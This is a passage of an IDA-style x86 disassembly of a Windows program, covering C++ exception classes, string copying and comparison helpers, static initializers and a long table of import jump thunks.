		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp+var_38]
		call	sub_40DC1A
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	ecx, [ebp+var_28]
		call	sub_43A7C0
		push	offset dword_43E550
		lea	edx, [ebp+var_28]
		push	edx
		call	sub_43B240
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_43A760	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A7C0	proc near		; CODE XREF: sub_43A760+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_43A640
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_43E148
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43A7C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A7F0	proc near		; CODE XREF: sub_43A840+Ap
					; DATA XREF: .packed:0043E554o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_43E148
		mov	ecx, [ebp+var_4]
		call	sub_43A580
		mov	esp, ebp
		pop	ebp
		retn
sub_43A7F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A810	proc near		; DATA XREF: .packed:0043E150o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_43A870
		push	offset dword_43E550
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	sub_43B240
		mov	esp, ebp
		pop	ebp
		retn
sub_43A810	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A840	proc near		; DATA XREF: .packed:off_43E148o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_43A7F0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_43A865
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_420B80
		add	esp, 4

loc_43A865:				; CODE XREF: sub_43A840+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43A840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A870	proc near		; CODE XREF: sub_43A810+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_43A4C0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_43E148
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43A870	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A8A0	proc near		; DATA XREF: .packed:0043F014o
		push	ebp
		mov	ebp, esp
		call	sub_40E188
		call	sub_43A8C0
		call	sub_43A8E0
		call	sub_43A910
		pop	ebp
		retn
sub_43A8A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A8C0	proc near		; CODE XREF: sub_43A8A0+8p
		push	ebp
		mov	ebp, esp
		push	offset nullsub_1
		call	sub_420D10
		add	esp, 4
		pop	ebp
		retn
sub_43A8C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A8E0	proc near		; CODE XREF: sub_43A8A0+Dp
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		mov	al, byte_4F4AFC
		and	eax, 1
		test	eax, eax
		jnz	short loc_43A900
		mov	cl, byte_4F4AFC
		or	cl, 1
		mov	byte_4F4AFC, cl

loc_43A900:				; CODE XREF: sub_43A8E0+Fj
		pop	ebp
		retn
sub_43A8E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A910	proc near		; CODE XREF: sub_43A8A0+12p
		push	ebp
		mov	ebp, esp
		push	offset sub_43A930
		call	sub_420D10
		add	esp, 4
		pop	ebp
		retn
sub_43A910	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A930	proc near		; DATA XREF: sub_43A910+3o
		push	ebp
		mov	ebp, esp
		pop	ebp
		retn
sub_43A930	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43A936	proc near		; CODE XREF: sub_40E29B+6Fp
		jmp	dword_4F54F4
sub_43A936	endp

; ---------------------------------------------------------------------------
		jmp	dword_4F554C

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43A942	proc near		; CODE XREF: sub_40D5A3+5Ep
					; sub_40F2F1+148p ...
		jmp	dword_4F5548
sub_43A942	endp

; ---------------------------------------------------------------------------
		jmp	dword_4F5544
; ---------------------------------------------------------------------------
		jmp	dword_4F5540
; ---------------------------------------------------------------------------
		jmp	dword_4F553C
; ---------------------------------------------------------------------------
		jmp	dword_4F5538
; ---------------------------------------------------------------------------
		jmp	dword_4F5534
; ---------------------------------------------------------------------------
		jmp	dword_4F5530
; ---------------------------------------------------------------------------
		jmp	dword_4F552C
; ---------------------------------------------------------------------------
		jmp	dword_4F5528
; ---------------------------------------------------------------------------
		jmp	dword_4F5550
; ---------------------------------------------------------------------------
		jmp	dword_4F5520
; ---------------------------------------------------------------------------
		jmp	dword_4F551C
; ---------------------------------------------------------------------------
		jmp	dword_4F5518
; ---------------------------------------------------------------------------
		jmp	dword_4F5514
; ---------------------------------------------------------------------------
		jmp	dword_4F5510
; ---------------------------------------------------------------------------
		jmp	dword_4F550C
; ---------------------------------------------------------------------------
		jmp	dword_4F5508
; ---------------------------------------------------------------------------
		jmp	dword_4F5504
; ---------------------------------------------------------------------------
		jmp	dword_4F5500
; ---------------------------------------------------------------------------
		jmp	dword_4F54FC
; ---------------------------------------------------------------------------
		jmp	dword_4F5524
; ---------------------------------------------------------------------------
		jmp	dword_4F5338
; ---------------------------------------------------------------------------
		jmp	dword_4F533C
; ---------------------------------------------------------------------------
		jmp	dword_4F5340
; ---------------------------------------------------------------------------
		jmp	dword_4F5344
; ---------------------------------------------------------------------------
		jmp	dword_4F5348
; ---------------------------------------------------------------------------
		jmp	dword_4F534C
; ---------------------------------------------------------------------------
		jmp	dword_4F5350
; ---------------------------------------------------------------------------
		jmp	dword_4F5354
; ---------------------------------------------------------------------------
		jmp	dword_4F5358
; ---------------------------------------------------------------------------
		jmp	dword_4F535C
; ---------------------------------------------------------------------------
		jmp	dword_4F5360
; ---------------------------------------------------------------------------
		jmp	dword_4F5364
; ---------------------------------------------------------------------------
		jmp	dword_4F5368
; ---------------------------------------------------------------------------
		jmp	dword_4F536C
; ---------------------------------------------------------------------------
		jmp	dword_4F5370
; ---------------------------------------------------------------------------
		jmp	dword_4F5374
; ---------------------------------------------------------------------------
		jmp	dword_4F5378
; ---------------------------------------------------------------------------
		jmp	dword_4F537C
; ---------------------------------------------------------------------------
		jmp	dword_4F5380
; ---------------------------------------------------------------------------
		jmp	dword_4F5384
; ---------------------------------------------------------------------------
		jmp	dword_4F5388
; ---------------------------------------------------------------------------
		jmp	dword_4F538C
; ---------------------------------------------------------------------------
		jmp	dword_4F5390
; ---------------------------------------------------------------------------
		jmp	dword_4F5394
; ---------------------------------------------------------------------------
		jmp	dword_4F5398
; ---------------------------------------------------------------------------
		jmp	dword_4F539C
; ---------------------------------------------------------------------------
		jmp	dword_4F53A0
; ---------------------------------------------------------------------------
		jmp	dword_4F53A4
; ---------------------------------------------------------------------------
		jmp	dword_4F53A8
; ---------------------------------------------------------------------------
		jmp	dword_4F53AC
; ---------------------------------------------------------------------------
		jmp	dword_4F53B0
; ---------------------------------------------------------------------------
		jmp	dword_4F53B4
; ---------------------------------------------------------------------------
		jmp	dword_4F53B8
; ---------------------------------------------------------------------------
		jmp	dword_4F53BC
; ---------------------------------------------------------------------------
		jmp	dword_4F53C0
; ---------------------------------------------------------------------------
		jmp	dword_4F53C4
; ---------------------------------------------------------------------------
		jmp	dword_4F53C8
; ---------------------------------------------------------------------------
		jmp	dword_4F53CC
; ---------------------------------------------------------------------------
		jmp	dword_4F53D0
; ---------------------------------------------------------------------------
		jmp	dword_4F53D4
; ---------------------------------------------------------------------------
		jmp	dword_4F53D8
; ---------------------------------------------------------------------------
		jmp	dword_4F53DC
; ---------------------------------------------------------------------------
		jmp	dword_4F53E0
; ---------------------------------------------------------------------------
		jmp	dword_4F53E4
; ---------------------------------------------------------------------------
		jmp	dword_4F53E8
; ---------------------------------------------------------------------------
		jmp	dword_4F53EC
; ---------------------------------------------------------------------------
		jmp	dword_4F53F0
; ---------------------------------------------------------------------------
		jmp	dword_4F53F4
; ---------------------------------------------------------------------------
		jmp	dword_4F53F8
; ---------------------------------------------------------------------------
		jmp	dword_4F53FC
; ---------------------------------------------------------------------------
		jmp	dword_4F5400
; ---------------------------------------------------------------------------
		jmp	dword_4F5404
; ---------------------------------------------------------------------------
		jmp	dword_4F5408
; ---------------------------------------------------------------------------
		jmp	dword_4F540C
; ---------------------------------------------------------------------------
		jmp	dword_4F5410
; ---------------------------------------------------------------------------
		jmp	dword_4F52D4
; ---------------------------------------------------------------------------
		jmp	dword_4F5414
; ---------------------------------------------------------------------------
		jmp	dword_4F5418
; ---------------------------------------------------------------------------
		jmp	dword_4F541C
; ---------------------------------------------------------------------------
		jmp	dword_4F5420
; ---------------------------------------------------------------------------
		jmp	dword_4F5424
; ---------------------------------------------------------------------------
		jmp	dword_4F5428
; ---------------------------------------------------------------------------
		jmp	dword_4F542C
; ---------------------------------------------------------------------------
		jmp	dword_4F5430
; ---------------------------------------------------------------------------
		jmp	dword_4F5434
; ---------------------------------------------------------------------------
		jmp	dword_4F5438
; ---------------------------------------------------------------------------
		jmp	dword_4F543C
; ---------------------------------------------------------------------------
		jmp	dword_4F5440
; ---------------------------------------------------------------------------
		jmp	dword_4F5444
; ---------------------------------------------------------------------------
		jmp	dword_4F5448
; ---------------------------------------------------------------------------
		jmp	dword_4F544C
; ---------------------------------------------------------------------------
		jmp	dword_4F5450
; ---------------------------------------------------------------------------
		jmp	dword_4F5454
; ---------------------------------------------------------------------------
		jmp	dword_4F5458
; ---------------------------------------------------------------------------
		jmp	dword_4F545C
; ---------------------------------------------------------------------------
		jmp	dword_4F5460
; ---------------------------------------------------------------------------
		jmp	dword_4F5464
; ---------------------------------------------------------------------------
		jmp	dword_4F5468
; ---------------------------------------------------------------------------
		jmp	dword_4F546C
; ---------------------------------------------------------------------------
		jmp	dword_4F5470
; ---------------------------------------------------------------------------
		jmp	dword_4F5474

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43ABA6	proc near		; CODE XREF: sub_4203C0+27p
					; sub_420730+13p
		jmp	dword_4F5478
sub_43ABA6	endp

; ---------------------------------------------------------------------------
		jmp	dword_4F547C
; ---------------------------------------------------------------------------
		jmp	dword_4F5480
; ---------------------------------------------------------------------------
		jmp	dword_4F5484
; ---------------------------------------------------------------------------
		jmp	dword_4F5488
; ---------------------------------------------------------------------------
		jmp	dword_4F548C
; ---------------------------------------------------------------------------
		jmp	dword_4F5490
; ---------------------------------------------------------------------------
		jmp	dword_4F5494
; ---------------------------------------------------------------------------
		jmp	dword_4F5498
; ---------------------------------------------------------------------------
		jmp	dword_4F549C
; ---------------------------------------------------------------------------
		jmp	dword_4F54A0
; ---------------------------------------------------------------------------
		jmp	dword_4F54A4
; ---------------------------------------------------------------------------
		jmp	dword_4F54A8
; ---------------------------------------------------------------------------
		jmp	dword_4F54AC
; ---------------------------------------------------------------------------
		jmp	dword_4F54B0
; ---------------------------------------------------------------------------
		jmp	dword_4F54B4
; ---------------------------------------------------------------------------
		jmp	dword_4F54B8
; ---------------------------------------------------------------------------
		jmp	dword_4F54BC
; ---------------------------------------------------------------------------
		jmp	dword_4F54C0
; ---------------------------------------------------------------------------
		jmp	dword_4F54C4
; ---------------------------------------------------------------------------
		jmp	dword_4F54C8
; ---------------------------------------------------------------------------
		jmp	dword_4F54CC
; ---------------------------------------------------------------------------
		jmp	dword_4F54D0
; ---------------------------------------------------------------------------
		jmp	dword_4F54D4
; ---------------------------------------------------------------------------
		jmp	dword_4F54D8
; ---------------------------------------------------------------------------
		jmp	dword_4F54DC
; ---------------------------------------------------------------------------
		jmp	dword_4F54E0
; ---------------------------------------------------------------------------
		jmp	dword_4F54E4
; ---------------------------------------------------------------------------
		jmp	dword_4F54E8
; ---------------------------------------------------------------------------
		jmp	dword_4F54EC
; ---------------------------------------------------------------------------
		jmp	dword_4F5334
; ---------------------------------------------------------------------------
		jmp	dword_4F5330
; ---------------------------------------------------------------------------
		jmp	dword_4F532C
; ---------------------------------------------------------------------------
		jmp	dword_4F5328
; ---------------------------------------------------------------------------
		jmp	dword_4F5324
; ---------------------------------------------------------------------------
		jmp	dword_4F5320
; ---------------------------------------------------------------------------
		jmp	dword_4F531C
; ---------------------------------------------------------------------------
		jmp	dword_4F5318
; ---------------------------------------------------------------------------
		jmp	dword_4F5314
; ---------------------------------------------------------------------------
		jmp	dword_4F5310
; ---------------------------------------------------------------------------
		jmp	dword_4F530C
; ---------------------------------------------------------------------------
		jmp	dword_4F5308
; ---------------------------------------------------------------------------
		jmp	dword_4F5304
; ---------------------------------------------------------------------------
		jmp	dword_4F5300
; ---------------------------------------------------------------------------
		jmp	dword_4F52FC
; ---------------------------------------------------------------------------
		jmp	dword_4F52F8
; ---------------------------------------------------------------------------
		jmp	dword_4F52F4
; ---------------------------------------------------------------------------
		jmp	dword_4F52F0
; ---------------------------------------------------------------------------
		jmp	dword_4F52EC
; ---------------------------------------------------------------------------
		jmp	dword_4F52E8
; ---------------------------------------------------------------------------
		jmp	dword_4F52E4
; ---------------------------------------------------------------------------
		jmp	dword_4F52E0
; ---------------------------------------------------------------------------
		jmp	dword_4F52DC
; ---------------------------------------------------------------------------
		jmp	dword_4F52D8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43ACF0	proc near		; CODE XREF: sub_417BC7+E2p
					; sub_417BC7+F9p ...

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		cmp	dword_4F34B8, 0
		jnz	loc_43ADBA

loc_43AD03:				; CODE XREF: sub_43ACF0+BFj
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax]
		cmp	ecx, 5Ah
		jg	short loc_43AD2D
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx]
		cmp	eax, 41h
		jl	short loc_43AD2D
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx]
		add	edx, 20h
		mov	[ebp+var_10], edx
		jmp	short loc_43AD38
; ---------------------------------------------------------------------------

loc_43AD2D:				; CODE XREF: sub_43ACF0+1Ej
					; sub_43ACF0+2Bj
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax]
		mov	[ebp+var_10], ecx

loc_43AD38:				; CODE XREF: sub_43ACF0+3Bj
		mov	dx, word ptr [ebp+var_10]
		mov	word ptr [ebp+var_4], dx
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cx, [eax]
		cmp	ecx, 5Ah
		jg	short loc_43AD6A
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx]
		cmp	eax, 41h
		jl	short loc_43AD6A
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dx, [ecx]
		add	edx, 20h
		mov	[ebp+var_14], edx
		jmp	short loc_43AD75
; ---------------------------------------------------------------------------

loc_43AD6A:				; CODE XREF: sub_43ACF0+5Bj
					; sub_43ACF0+68j
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cx, [eax]
		mov	[ebp+var_14], ecx

loc_43AD75:				; CODE XREF: sub_43ACF0+78j
		mov	dx, word ptr [ebp+var_14]
		mov	word ptr [ebp+var_C], dx
		mov	eax, [ebp+arg_0]
		add	eax, 2
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_4]
		add	ecx, 2
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		test	edx, edx
		jz	short loc_43ADB5
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jz	loc_43AD03

loc_43ADB5:				; CODE XREF: sub_43ACF0+AAj
		jmp	loc_43AE7A
; ---------------------------------------------------------------------------

loc_43ADBA:				; CODE XREF: sub_43ACF0+Dj
		push	offset dword_4F3888
		call	dword_4F5488	; InterlockedIncrement
		cmp	dword_4F3884, 0
		jz	short loc_43ADEC
		push	offset dword_4F3888
		call	dword_4F5484	; InterlockedDecrement
		push	13h
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_8], 1
		jmp	short loc_43ADF3
; ---------------------------------------------------------------------------

loc_43ADEC:				; CODE XREF: sub_43ACF0+DCj
		mov	[ebp+var_8], 0

loc_43ADF3:				; CODE XREF: sub_43ACF0+FAj
					; sub_43ACF0+16Bj
		mov	edx, [ebp+arg_0]
		mov	ax, [edx]
		mov	[ebp+var_16], ax
		mov	cx, [ebp+var_16]
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2
		mov	[ebp+arg_0], edx
		call	sub_43B360
		add	esp, 4
		mov	word ptr [ebp+var_4], ax
		mov	eax, [ebp+arg_4]
		mov	cx, [eax]
		mov	[ebp+var_18], cx
		mov	dx, [ebp+var_18]
		push	edx
		mov	eax, [ebp+arg_4]
		add	eax, 2
		mov	[ebp+arg_4], eax
		call	sub_43B360
		add	esp, 4
		mov	word ptr [ebp+var_C], ax
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFh
		test	ecx, ecx
		jz	short loc_43AE5D
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_C]
		and	eax, 0FFFFh
		cmp	edx, eax
		jz	short loc_43ADF3

loc_43AE5D:				; CODE XREF: sub_43ACF0+156j
		cmp	[ebp+var_8], 0
		jz	short loc_43AE6F
		push	13h
		call	sub_423320
		add	esp, 4
		jmp	short loc_43AE7A
; ---------------------------------------------------------------------------

loc_43AE6F:				; CODE XREF: sub_43ACF0+171j
		push	offset dword_4F3888
		call	dword_4F5484	; InterlockedDecrement

loc_43AE7A:				; CODE XREF: sub_43ACF0:loc_43ADB5j
					; sub_43ACF0+17Dj
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFFFh
		sub	eax, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_43ACF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AEA0	proc near		; CODE XREF: sub_4189CD+21p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_43AEAE
		xor	eax, eax
		jmp	short loc_43AEE3
; ---------------------------------------------------------------------------

loc_43AEAE:				; CODE XREF: sub_43AEA0+8j
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41BC70
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_41BE40
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_43AEE1
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41F620
		add	esp, 8
		jmp	short loc_43AEE3
; ---------------------------------------------------------------------------

loc_43AEE1:				; CODE XREF: sub_43AEA0+2Dj
		xor	eax, eax

loc_43AEE3:				; CODE XREF: sub_43AEA0+Cj
					; sub_43AEA0+3Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_43AEA0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		mov	dword ptr [eax], offset	off_43E15C
		mov	ecx, [ebp-4]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp-4]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AF20	proc near		; DATA XREF: .packed:off_43E15Co

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_43B080
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_43AF45
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_420B80
		add	esp, 4

loc_43AF45:				; CODE XREF: sub_43AF20+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43AF20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AF50	proc near		; CODE XREF: sub_43A640+2Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], offset	off_43E15C
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_41BC70
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_420C30
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+4], 0
		jz	short loc_43AFA6
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		push	eax
		call	sub_41F620
		add	esp, 8

loc_43AFA6:				; CODE XREF: sub_43AF50+3Fj
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+8], 1
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43AF50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AFC0	proc near		; CODE XREF: sub_43A4C0+23p
					; .packed:0043B06Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], offset	off_43E15C
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	[ecx+8], eax
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+8], 0
		jz	short loc_43B02F
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		push	eax
		call	sub_41BC70
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_420C30
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_43B02D
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_41F620
		add	esp, 8

loc_43B02D:				; CODE XREF: sub_43AFC0+55j
		jmp	short loc_43B03B
; ---------------------------------------------------------------------------

loc_43B02F:				; CODE XREF: sub_43AFC0+25j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx

loc_43B03B:				; CODE XREF: sub_43AFC0:loc_43B02Dj
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43AFC0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		cmp	eax, [ebp+8]
		jz	short loc_43B073
		mov	ecx, [ebp-4]
		call	sub_43B080
		mov	ecx, [ebp+8]
		push	ecx
		mov	ecx, [ebp-4]
		call	sub_43AFC0

loc_43B073:				; CODE XREF: .packed:0043B05Dj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B080	proc near		; CODE XREF: sub_43A580+41p
					; sub_43AF20+Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], offset	off_43E15C
		mov	ecx, [ebp+var_8]
		cmp	dword ptr [ecx+8], 0
		jz	short loc_43B0B0
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_420B80
		add	esp, 4

loc_43B0B0:				; CODE XREF: sub_43B080+19j
		mov	esp, ebp
		pop	ebp
		retn
sub_43B080	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B0C0	proc near		; DATA XREF: .packed:0043E160o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_43B0D8
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx+4]
		jmp	short loc_43B0DD
; ---------------------------------------------------------------------------

loc_43B0D8:				; CODE XREF: sub_43B0C0+Ej
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

loc_43B0DD:				; CODE XREF: sub_43B0C0+16j
		mov	esp, ebp
		pop	ebp
		retn
sub_43B0C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B0F0	proc near		; CODE XREF: sub_43B130+Ap

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_43E17C
		push	1Bh
		call	sub_423280
		add	esp, 4
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0
		jz	short loc_43B122
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		push	eax
		call	sub_423CD0
		add	esp, 4

loc_43B122:				; CODE XREF: sub_43B0F0+21j
		push	1Bh
		call	sub_423320
		add	esp, 4
		mov	esp, ebp
		pop	ebp
		retn
sub_43B0F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B130	proc near		; DATA XREF: .packed:off_43E17Co

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_43B0F0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_43B155
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_420B80
		add	esp, 4

loc_43B155:				; CODE XREF: sub_43B130+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43B130	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 9
		push	eax
		mov	ecx, [ebp+8]
		add	ecx, 9
		push	ecx
		call	sub_41F7E0
		add	esp, 8
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 9
		push	eax
		mov	ecx, [ebp+8]
		add	ecx, 9
		push	ecx
		call	sub_41F7E0
		add	esp, 8
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
